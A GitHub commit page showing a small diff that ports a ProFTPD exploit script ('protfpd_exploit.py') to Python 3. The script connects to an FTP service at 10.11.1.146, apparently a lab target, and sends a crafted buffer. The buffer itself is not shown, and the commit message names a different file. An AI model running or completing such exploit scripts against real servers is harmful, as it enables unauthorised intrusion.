Skip to content

Commit b82ec0a

Browse files
committedJan 14, 2021
update ms08_067.py for Python3
1 parent f95e8d5 commit b82ec0a

File tree

1 file changed

+5
-5
lines changed

1 file changed

+5
-5
lines changed
 

‎protfpd_exploit.py

+5-5
Original file line numberDiff line numberDiff line change
@@ -54,10 +54,10 @@
5454
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
5555

5656
try:
57-
print "Connecting.\n"
57+
print("Connecting.\n")
5858
s.connect(('10.11.1.146', 21))
59-
print "Sending buffer.\n"
60-
s.send(buffer)
61-
print "Done.\n"
59+
print("Sending buffer.\n")
60+
s.send(buffer.encode('utf-8'))
61+
print("Done.\n")
6262
except:
63-
print "Failed.\n"
63+
print("Failed.\n")

0 commit comments

Comments
 (0)
Please sign in to comment.